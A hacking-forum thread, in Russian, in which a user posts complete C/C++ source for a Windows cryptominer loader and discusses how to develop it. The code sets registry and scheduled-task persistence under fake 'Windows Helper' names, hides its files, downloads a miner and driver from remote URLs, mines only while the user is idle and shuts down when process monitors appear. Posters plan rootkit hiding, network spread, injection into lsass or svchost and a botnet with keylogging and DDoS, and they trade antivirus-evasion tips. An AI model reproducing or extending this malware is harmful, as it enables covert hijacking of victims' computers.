• XSS.stack #1 – первый литературный журнал от юзеров форума

Мой загрузчик для майнера, версия C++, по большей части, C.

Отказ от функций C, наверное, будет невозможен. Надо же как-то с строками работать. Если только ассемблером как-то заменить. Или в WINAPI есть аналоги.
 
Отказ от функий C, наверное, будет невозможен. Надо же как-то с строками работать. Если только ассемблером как-то заменить. Или в WINAPI есть аналоги.
Ты про что? Если ты про wcscmp и т.п, то в нтдлл есть ВСЕ аналоги црт функций и даже больше. Так-же функции для работы со строками есть в kernel32 и shlwapi. Но я советую тебе самому реализовывать их, чтобы на API функцию сразу не поставили бряк и не осмотрели, что туда летит.
 
Ты про что? Если ты про wcscmp и т.п, то в нтдлл есть ВСЕ аналоги црт функций и даже больше. Так-же функции для работы со строками есть в kernel32 и shlwapi. Но я советую тебе самому реализовывать их, чтобы на API функцию сразу не поставили бряк и не осмотрели, что туда летит.
Да, я именно про эти все wcslen, wcscmp, wcscpy.
 
чтобы на API функцию сразу не поставили бряк и не осмотрели, что туда летит.
А если LoadLibrary вызывать и каждую функцию импортировать из ntdll, тоже увидят, что там передается? Или сам текст как-то шифровать.
 
А если LoadLibrary вызывать и каждую функцию импортировать из ntdll, тоже увидят, что там передается? Или сам текст как-то шифровать.
Да. Проще реализовать все самому.
 
Причесал код и подправил пару вещей.
Скрытый контент для зарегистрированных пользователей.
C:
#include <windows.h>
#include <cstdio>
#include <urlmon.h>
#include <shlwapi.h>
#include <tlhelp32.h>
#include <fstream>
#include "shlobj.h"

#pragma comment(lib, "urlmon.lib")
#pragma comment(lib, "Shlwapi.lib")

#define MY_PRINTF(...) {WCHAR cad[512]; wsprintf(cad, __VA_ARGS__);  OutputDebugString(cad);}

wchar_t wszPasteB[MAX_PATH] = { 0 };

//Control how program exits
BOOL ControlHandler(DWORD dwControlEvent)
{
    switch (dwControlEvent)
    {
        // User wants to shutdown
    case CTRL_SHUTDOWN_EVENT:
        return FALSE;

        // User wants to logoff
    case CTRL_LOGOFF_EVENT:
        return FALSE;

        // Ctrl + C
    case CTRL_C_EVENT:
        return TRUE;

        // User wants to exit the "normal" way
    case CTRL_CLOSE_EVENT:
        return TRUE;

        // Everything else, just ignore it...
    default:
        return FALSE;
    }
}

/*
//decrypt xor string
void encryptDecrypt(char* input, char* output) {
    char key[] = { 'k', '3', 'Y' };

    unsigned int i;
    for (i = 0; i < strlen(input); i++) {
        output[i] = input[i] ^ key[i % (sizeof(key) / sizeof(char))];
    }
}
*/

//Check if file exists
BOOL FileExists(const wchar_t* wszPath)
{
    DWORD dwAttrib = GetFileAttributes(wszPath);

    return (dwAttrib != INVALID_FILE_ATTRIBUTES &&
        !(dwAttrib & FILE_ATTRIBUTE_DIRECTORY));
}

//Start m process
DWORD StartM(wchar_t* wszArgs, const wchar_t* wszSelfDir)
{
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    wchar_t wszHelper[MAX_PATH] = { 0 };

    PathCombine(wszHelper, wszSelfDir, L"helper.exe");

    if (FileExists(wszHelper))
    {
        ZeroMemory(&si, sizeof(si));
        si.cb = sizeof(si);
        ZeroMemory(&pi, sizeof(pi));

        // Start m process
        if (!CreateProcess(wszHelper, wszArgs, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi))
        {
            MY_PRINTF(L"M process starting failed (%d).\n", GetLastError());
            return 0;
        }
        else
        {
            MY_PRINTF(L"Process ID = %d started.\n", pi.dwProcessId);
            MY_PRINTF(L"Command line: %s.\n", wszArgs);
        }

        // Close process and thread handles.
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);

        return pi.dwProcessId;
    }
    else
        return 0;
}

//Kill process with given pid
BOOL KillProcess(DWORD dwPID)
{
    DWORD dwDesiredAccess = PROCESS_TERMINATE;
    BOOL  bInheritHandle = FALSE;
    HANDLE hProcess = OpenProcess(dwDesiredAccess, bInheritHandle, dwPID);
    if (hProcess == NULL)
        return FALSE;

    BOOL bResult = TerminateProcess(hProcess, 0);

    CloseHandle(hProcess);

    return bResult;
}

//stop m process
BOOL StopM(DWORD dwPID)
{
    if (dwPID > 0)
    {
        KillProcess(dwPID);
        MY_PRINTF(L"Process ID = %d stopped.\n", dwPID);
        return TRUE;
    }
    else
        return FALSE;
}

//Delete task in task scheduler
void DeleteTask()
{
    wchar_t wszCmdLine[128] = { 0 };

    STARTUPINFO si;
    PROCESS_INFORMATION pi;

    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));

    //Maybe it can be better: "C:\\Windows\\System32\\schtasks.exe" "/delete / tn \"Windows\\Windows Support\", but it not works for me
    wsprintf(wszCmdLine, L"cmd /c schtasks /delete / tn \"Windows\\Windows Support\" / f");

    if (!CreateProcess(NULL, wszCmdLine, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi))
    {
        MY_PRINTF(L"Scheduler task creation failed (%d).\n", GetLastError());
    }
    else
    {
        MY_PRINTF(L"Scheduler task successfully deleted.\n");
    }

    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
}

//Create task in task scheduler
void CreateTask(const wchar_t* wszExePath)
{
    wchar_t wszCmdLine[512] = { 0 };
    STARTUPINFO si;
    PROCESS_INFORMATION pi;

    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));

    wsprintf(wszCmdLine, L"cmd /c schtasks /create /sc MINUTE /mo 5 /tn \"Windows\\Windows Helper\" /tr \"%s\" /f", wszExePath);
    //MY_PRINTF(cmdLine);

    DeleteTask();

    if (!CreateProcess(NULL, wszCmdLine, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi))
    {
        MY_PRINTF(L"Scheduler task creation failed (%d).\n", GetLastError());
    }
    else
    {
        MY_PRINTF(L"Scheduler task successfully created.\n");
    }

    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
}

//Download m from internet
void DownloadHelperFromURL(const wchar_t* wszUrl, const wchar_t* wszSelfDir)
{
    wchar_t wszHelper[MAX_PATH] = { 0 };

    PathCombine(wszHelper, wszSelfDir, L"helper.exe");

    if (!FileExists(wszHelper))
    {
        if (URLDownloadToFile(0, wszUrl, wszHelper, 0, 0) == S_OK)
        {
            MY_PRINTF(L"Helper was downloaded.");
        }
    }
}

//Download driver from internet
void DownloadWinsysFromURL(const wchar_t* wszUrl, const wchar_t* wszSelfDir)
{
    wchar_t wszDriver[MAX_PATH] = { 0 };

    PathCombine(wszDriver, wszSelfDir, L"WinRing0x64.sys");

    if (!FileExists(wszDriver))
    {
        if (URLDownloadToFile(0, wszUrl, wszDriver, 0, 0) == S_OK)
        {
            MY_PRINTF(L"Driver was downloaded.");
        }
    }
}

//Get public ip and raw pastebin
void GetRawDataFromURL(const wchar_t* wszSelfDir, const wchar_t* wszPasteBDefault, const wchar_t* wszUrl)
{
    wchar_t* wszToken = NULL;
    wchar_t* wszContext = NULL;
    wchar_t wszTempPath[MAX_PATH] = { 0 };
    wchar_t wszIP[128] = { 0 };
    FILE* fIpHtm;
    errno_t err;
    DWORD dwAttr;

    //Make directory´with m hidden
    dwAttr = GetFileAttributes(wszSelfDir);
    if ((dwAttr & FILE_ATTRIBUTE_HIDDEN) == 0)
    {
        SetFileAttributes(wszSelfDir, dwAttr + FILE_ATTRIBUTE_HIDDEN + FILE_ATTRIBUTE_SYSTEM);
    }

    //Get public ip address
    if (GetTempPath(MAX_PATH, wszTempPath))
    {
        PathAppend(wszTempPath, L"ip");

        if (URLDownloadToFile(0, L"http://checkip.dyndns.org/", wszTempPath, 0, 0) == S_OK)
        {

            if ((err = _wfopen_s(&fIpHtm, wszTempPath, L"r")) == 0)
            {
                fgetws(wszIP, 128, fIpHtm);
                wszToken = wcsrchr(wszIP, ':');
                wszToken = wcstok_s(wszToken, L"<", &wszContext);
                lstrcpyn(wszIP, wszToken + 2, sizeof(wszIP));
                //MY_PRINTF(ip);
            }
            if (fIpHtm)
                fclose(fIpHtm);
        }
    }

    //Get pastebin raw string
    if (URLDownloadToFile(0, wszUrl, wszTempPath, 0, 0) == S_OK)
    {
        if ((err = _wfopen_s(&fIpHtm, wszTempPath, L"r")) == 0)
        {
            if (fIpHtm != 0)
            {
                fgetws(wszPasteB, 256, fIpHtm);
                if (wcslen(wszIP) > 0)
                    wcscat_s(wszPasteB, wszIP);
            }
        }
        if (fIpHtm)
            fclose(fIpHtm);

        if (FileExists(wszTempPath))
            DeleteFile(wszTempPath);
    }

    if (wcslen(wszPasteB) == 0)
    {
        wcsncpy_s(wszPasteB, wszPasteBDefault, 158);
        if (wcslen(wszIP) > 0)
            wcscat_s(wszPasteB, wszIP);
    }

    //MY_PRINTF(wszPasteB);
}

//Create registry autorun
void CreateAutorun(const wchar_t* wszRegPath, const wchar_t* wszExePath)
{
    HKEY hKey;
    DWORD dwCount = 0;
    const wchar_t* wszStartName = L"Windows Helper";

    LSTATUS lnRes = RegOpenKeyEx(HKEY_CURRENT_USER, wszRegPath, 0, KEY_WRITE, &hKey);
    if (ERROR_SUCCESS == lnRes)
    {
        dwCount = (DWORD)((wcslen(wszExePath) + 1) * sizeof(wchar_t));
        lnRes = RegSetValueEx(hKey, wszStartName, 0, REG_SZ, (LPBYTE)wszExePath, dwCount);
        if (lnRes == ERROR_SUCCESS)
        {
            MY_PRINTF(L"Registry record successfully created.\n");
        }
        else
        {
            MY_PRINTF(L"\nCould not change registry record.\n");
        }
    }
    else
    {
        MY_PRINTF(L"\nCould not open registry record.");
    }

    RegCloseKey(hKey);
}


//Check user idle time
DWORD GetIdleTime()
{
    LASTINPUTINFO last_input;
    last_input.cbSize = sizeof(LASTINPUTINFO);
    GetLastInputInfo(&last_input);
    ULONGLONG time_elapsed = GetTickCount64();
    return (DWORD)((time_elapsed - last_input.dwTime) / 1000);
}

//Find process by id
DWORD FindProcessId(const wchar_t* wszProcName)
{
    HANDLE hProcessSnap;
    PROCESSENTRY32 pe32;
    DWORD dwResult = NULL;

    // Take a snapshot of all processes in the system.
    hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (INVALID_HANDLE_VALUE == hProcessSnap) return(FALSE);

    pe32.dwSize = sizeof(PROCESSENTRY32); // <----- IMPORTANT

    // Retrieve information about the first process,
    // and exit if unsuccessful
    if (!Process32First(hProcessSnap, &pe32))
    {
        CloseHandle(hProcessSnap);          // clean the snapshot object
        MY_PRINTF(L"!!! Failed to gather information on system processes! \n");
        return NULL;
    }

    do
    {
        //MY_PRINTF(L"Checking process %ls\n", pe32.szExeFile);
        //MY_PRINTF(pe32.szExeFile);
        if (0 == _wcsicmp(wszProcName, pe32.szExeFile))
        {
            dwResult = pe32.th32ProcessID;
            break;
        }
    } while (Process32Next(hProcessSnap, &pe32));

    CloseHandle(hProcessSnap);

    return dwResult;
}

//copy file to reserve location
void CopyAppFile(const wchar_t* wszExePath)
{
    wchar_t wszNewPath[MAX_PATH];

    if (SUCCEEDED(SHGetFolderPath(NULL, CSIDL_COMMON_APPDATA, NULL, 0, wszNewPath)))
    {
        PathAppend(wszNewPath, L"Windows");

        if (CreateDirectory(wszNewPath, NULL) || ERROR_ALREADY_EXISTS == GetLastError())
        {
            PathAppend(wszNewPath, L"connhost.exe");
            CreateAutorun(L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", wszNewPath);

            if (CopyFile(wszExePath, wszNewPath, TRUE))
            {
                MY_PRINTF(L"Application file was copied.\n");
            }
        }
    }
}

//Main function, entry point
INT __stdcall WINAPI WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ PSTR lpCmdLine, _In_ INT nCmdShow)
{
    wchar_t wszExePath[MAX_PATH] = { 0 };
    wchar_t wszSelfDir[MAX_PATH] = { 0 };
    const wchar_t* wszMutex = L"Local\\Minerloader";
    DWORD dwIdleTimer = 60;
    DWORD dwPID = 0;
    DWORD dwHelperPID = 0;
    DWORD dwSleepTimeOut = 1000;
    bool bRunning = false;

    SetConsoleCtrlHandler((PHANDLER_ROUTINE)ControlHandler, TRUE);

    CreateMutex(0, FALSE, wszMutex); // try to create a named mutex
    if (GetLastError() == ERROR_ALREADY_EXISTS) // did the mutex already exist?
        return -1; // quit; mutex is released automatically

    if (dwHelperPID = FindProcessId(L"helper.exe"))
    {
        KillProcess(dwHelperPID);
        MY_PRINTF(L"Helper process %d was killed.", dwHelperPID);
    }

    //Autorun
    if (GetModuleFileName(NULL, wszExePath, MAX_PATH))
    {
        CreateAutorun(L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", wszExePath);
        CopyAppFile(wszExePath);

        wcscpy_s(wszSelfDir, wszExePath);
        if (PathRemoveFileSpec(wszSelfDir))
        {
            //Get data and files from internet
            GetRawDataFromURL(wszSelfDir, L"--donate-level=1 -o pool.supportxmr.com:443 -u xxx -k --tls -p O-", L"https://pastebin.com/raw/xxx");
            DownloadHelperFromURL(L"xxx", wszSelfDir);
            DownloadWinsysFromURL(L"xxx", wszSelfDir);
        }
    }

    CreateTask(wszExePath);

    //main cycle
    for (;;)
    {
        Sleep(dwSleepTimeOut);
        if (FindProcessId(L"taskmgr.exe") > 0 || FindProcessId(L"procexp64.exe") > 0 || FindProcessId(L"processhacker.exe") > 0 || FindProcessId(L"anvir.exe") > 0)
        {
            if (dwPID > 0)
            {
                StopM(dwPID);
            }
            MY_PRINTF(L"Task manager detected. Program must exit.");
            return 0;
        }

        if (GetIdleTime() >= dwIdleTimer && !bRunning)
        {
            MY_PRINTF(L"System is idle.\n");
            dwPID = StartM(wszPasteB, wszSelfDir);
            bRunning = true;
        }

        if (GetIdleTime() < dwIdleTimer && bRunning)
        {
            MY_PRINTF(L"System no longer idle.\n");
            StopM(dwPID);
            bRunning = false;
        }
    }

    return 0;
}
 
ТС, а не проще просто модифицировать сам xmrig?
Тоже вариант, кстати. Но тут есть и минус. Мой загрузчик может загружать не только xmrig, но и любой другой майнер, поэтому я его компилирую в x86. В C# версии у меня 64-битный xmrig находится в exe самого загрузчика в виде массива байт. Тут тоже такое хочу сделать и инжектить. xmrig 64-битный, хотя есть и 32-битный вариант, но я с ним не работаю.
Я его планирую развить в другую сторону - сделать из него бота, где майнинг будет одной из функций. А указания будет получать, например, через pastebin в таком формате: ip:cmd:outputurl.
В идеале я хочу вообще весь код разместить в инете, а он будет загружать код и его выполнять на компьютере жертвы. На C# я это уже реализовал, теперь на C думаю, как это лучше организовать.
 
Последнее редактирование:
ТС, глянь лучше в сторону браузерного майнинга, хватит ебать этот xmrig
Тут три варианта я вижу:
1. Взломать роутер, изменить все страницы, добавив код (не знаю, возможно ли это)
2. Взломать wifi сетки/раздать свой wifi с нужным кодом в страницах
3. Взломать сайт или базу данных, встроить туда код.
Правильно?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
ТС, глянь лучше в сторону браузерного майнинга, хватит ебать этот xmrig
там вообще денег нет,лол
 
Как и в майнинге в общем
Меня не столько сам майнинг интересует, как расставление ботов и майнинг как одна из функций, потом туда ддос, кейлогер и т.д. добавить. А так да, копейки с этого имею.
 
что можно поправить или оптимизировать.
В планах:
1. Скрытие руткитом процесса и файлов майнера и загрузчика.
2. Загрузка в другие файлы пользователя и транспортивока на другие компьютеры сети и т.д.
3. Постепенный отказ от C функций и замена их WINAPI аналогами либо своими.
4. Самотиражирование загрузчика на пораженном компьютере до такой степени, что спасает только форматирование диска.
5. Переход на управление с сервера, майнер становится ботом.
6. Хранение майнера в теле загрузчика, инжект процесса майнера в системный процесс, например, spoolsv, lsass или svchost.
7. Антиотладка и антиВМ, криптование.
8. Загрузка кода с сервера.
 
Я пока не настолько знаю параметры компиляции. SEH я не знаю. А CRT тоже не знаю еще, как отключить.
———
В планах:
1. Скрытие руткитом процесса и файлов майнера и загрузчика.
Амбициозность это конечно хорошо, но скорее всего не хватит знаний. Могу только пожелать удачи
 
Амбициозность это конечно хорошо, но скорее всего не хватит знаний. Могу только пожелать удачи
Я не пишу весь код с нуля. Где-то что-то нахожу, что-то сам пишу. Мне нужен был майнер (вернее, загрузчик), я его не мог найти. Не знал, как писать. Разобрался. Сделал, все работает. Но хочется большего. Из вышеперечисленных функий нет ни одной, которую я не знал бы как реализовать. Более того, часть из них у меня уже есть, но на C#. Понадобится время, чтобы разобраться и реализовать. Я же не буду руткит сам писать, я его возьму и доработаю. Тут скорее проблема будет в том, как написать так, чтобы минимально это все палилось антивирусами. Это мне интересно даже не столько для заработка, он копеечный, это интересно с точки зрения программирования.
 
Руткит - понятие растяжимое. Возможно, какой-нибуть юзермодный хукер NtQueryInformationProcess и подобных ты осилишь, а вот полноценный минифильтр/подписки на коллбеки - нет.
 
Руткит - понятие растяжимое. Возможно, какой-нибуть юзермодный хукер NtQueryInformationProcess и подобных ты осилишь, а вот полноценный минифильтр/подписки на коллбеки - нет.
NtQueryInformationProcess уже deprecated вроде бы.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх